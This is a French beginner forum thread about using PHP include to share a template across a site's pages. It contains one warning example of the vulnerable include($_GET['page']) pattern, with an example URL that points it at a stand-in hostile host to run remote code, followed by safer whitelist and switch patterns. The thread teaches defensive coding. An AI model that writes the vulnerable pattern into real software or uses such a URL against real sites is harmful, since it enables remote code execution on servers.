Php include



  • Salut tout le monde voila pour la premiere fois j essaie de creer un site en php tout seul. D habitude j utiliser les CMS. Mais voila mon probleme se pose au niveau de de l architecture du site.J ai envie de creer un site avec le meme theme sur toute les page du site avec un contenu qui varie selon la page qu on appel. Apres quelque recherche j ai vu qu on pouvais utiliser le include qui consite a faire passer des variable dans les liens et de recuperer la Page à afficher par GET. J ai pas tres bien compris le principe voila pourquoi je poste ce message. J espere qu vous pourrez m aider.
    Reference http://www.siteduzero.com/tuto-3-148-1-les-includes.html#ss_part_2
    C est celle de la methode dangereuse dans la deuxieme moitier de page.
    J attends vos reponse avec impatiente



  • j attends toujours vos reponse je n avance pas en ce moment


  • Administrateur

    1. On est pas à ta disposition car tu n'est pas le seul à demander de l'aide et on a beaucoup de boulot

    2. Ca ne sera pas moi qui répondrais, je ne fais pas de support pour la création du site en lui même

    3. Le forum de freeheberg n'est peux être pas le plus approprié pour obtenir ce type de réponse, le siteduzero a également un forum réactif.

    Merci pour ta compréhension.



  • oulala :oops: Je suis desolé je ne voulais pas vous enerver :oops:



  • j'ai pas le temps pour expliquer mais voila un exemple de include

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
    
      <link rel="stylesheet" media="screen" type="text/css" title="Design" href="design.css">
    
    </head>
    
          <body>
    
    	  <!--l'en-tete-->
    
        <?php include("logo.php"); ?>
    	<p>avancement 1O%<br />
    	V0.1</P>
    	<div id="menu">
         <div class="element_menu">
    
    

    puis tu fait ton fichier logo moi c'est

    </head>
    
          <body>
    	  <!--l'en-tete-->
    
        <div id="en_tete">
    	<align="center"><img src="logo_codelyoko306289370.gif"></align>
    
    	</div>
    	</body>
    </html>
    ```voila et tout les pages contenant les premier code affichera ce que contient logo.php
    comme sa tu a juste a modif un fichier et tout change
    tu peut aussi le faire pour les BDD
    un deul fichier ouvre la bdd et est inclu dans tout ceux qui en ont besoin


  • Include est une fonction très simple:
    elle exécute le code d'un autre fichier.

    Par exemple:

    include.php

    <?php
    include("test.php");
    ?>
    

    test.php

    <?php
    echo "test";
    ?>
    

    Si tu lance le fichier "include.php", il t'affichera "test", car le contenu du fichier test.php sera exécuté.

    Ce qu'il ne faut pas faire avec include, c'est le rendre dynamique.
    C'est-à-dire permettre d'une manière ou d'une autre à un visiteur de choisir son contenu. Par exemple:

    <?php
    include($_GET['page']);
    ?>
    ```sera dangereux, car l'utilisateur pourra ouvrir la page
    
    > http://www.tonsite.info/mapage.php?page=_http://www.sitepirate.com/crack.txt_
    
    Et dans ce cas, le code php du fichier texte sera exécuté.


  • Un petit détail, niveau sécurité, il est préférable d'ajouter dans la page où un effectue l'include :

    define('Ce_que_vous_voulez', true);
    

    et dans la page demandée en include, il faut rajouter :

    if ( !defined('Ce_que_vous_voulez') )
    {
    	die("Vous n'êtes pas autorisé à afficher la page");
    }
    

    Pour éviter que la page soit appelée par n'importe qui.

    D'autres méthodes existent mais celle-ci est assez simple.

    Vous pouvez bien-sûr remplacer le "Ce_que_vous_voulez" par autre chose ou encore un code aléatoire qui permettrait plus de sécurité en cas de hacking ou d'autre tentative frauduleuse


  • Administrateur

    Ce n'est pas forcément utile vu qu'on interdit l'affichage d'une include appellée hors du serveur.

    A moins qu'un mec soit sur le même serveur, tu ne peux pas appeller un fichier par include.



  • Generalement moi, pour mes include de page, je fait un truc du genre

    <?php
    if ( $p == <un_id> ) { include "chemin/de/la/page.php"; }
    elseif ( $p == <un_autre> ) {... }
    elseif .. 
    else { include "page/par/defaut.php"; }
    ?>
    
    ```et ainsi de suite.
    
    Le tout que je met a l'endroit ou je veux que ca apparaisse (dans un cadre, un tableau etc)
    
    <un_id> et <un_autre> sont simplement des chiffres correspondant à une page précise.
    
    après dans l'url de ta page, ca ressemble à un truc comme ca:
    [http://ton.domain.com/index.php?p=77](http://ton.domain.com/index.php?p=77) (77 par exemple)
    
    Sinon un autre moyen (que l'autre admin de equinox aime bien) c'est tu met toute tes pages dans un array
    $page = array( 'news' => 'news.php' , 'galerie' => 'galerie.php', ... );
    
    et après rebelote, comme avant, tu compare ta variable $p (ou autre, mais qui se trouve dans l'adresse (donc en GET) ) aux valeurs de ton array...
    
    voilà voilà
    En espérant j'ai été compréhensible et que ca te servira ;)
    
    Althalus


  • lorsqu on inclus les page grace a l url```
    http://www.tonsite.info/mapage.php?page=tes.php



  • @equinox:

    Generalement moi, pour mes include de page, je fait un truc du genre

    <?php
    if ( $p == <un_id> ) { include "chemin/de/la/page.php"; }
    elseif ( $p == <un_autre> ) {... }
    elseif .. 
    else { include "page/par/defaut.php"; }
    ?>
    
    ```et ainsi de suite.
    
    <?php
    	switch($p) {
    		case "un id":
    		break;
    
    		case "un autre":
    		break;
    
    		case "voire un troisième":
    		break;
    
    		[...]
    
    		default:
    		break;
    	}
    ?>
    ```Un poil plus long mais quand même plus lisible :D
    
    Pour l'URL rewriting, je crois que les variables GET qui sont déjà dans la requêtes sont effacées, et qu'il faut les recréer en codant un petit script basé sur $_SERVER['REQUEST_URI'] et la fonction parse_str().
    Une recherche dans la doc php (avec array_merge() pour perfectionner le tout :D ).

Se connecter pour répondre
 

Il semble que votre connexion ait été perdue, veuillez patienter pendant que nous vous re-connectons.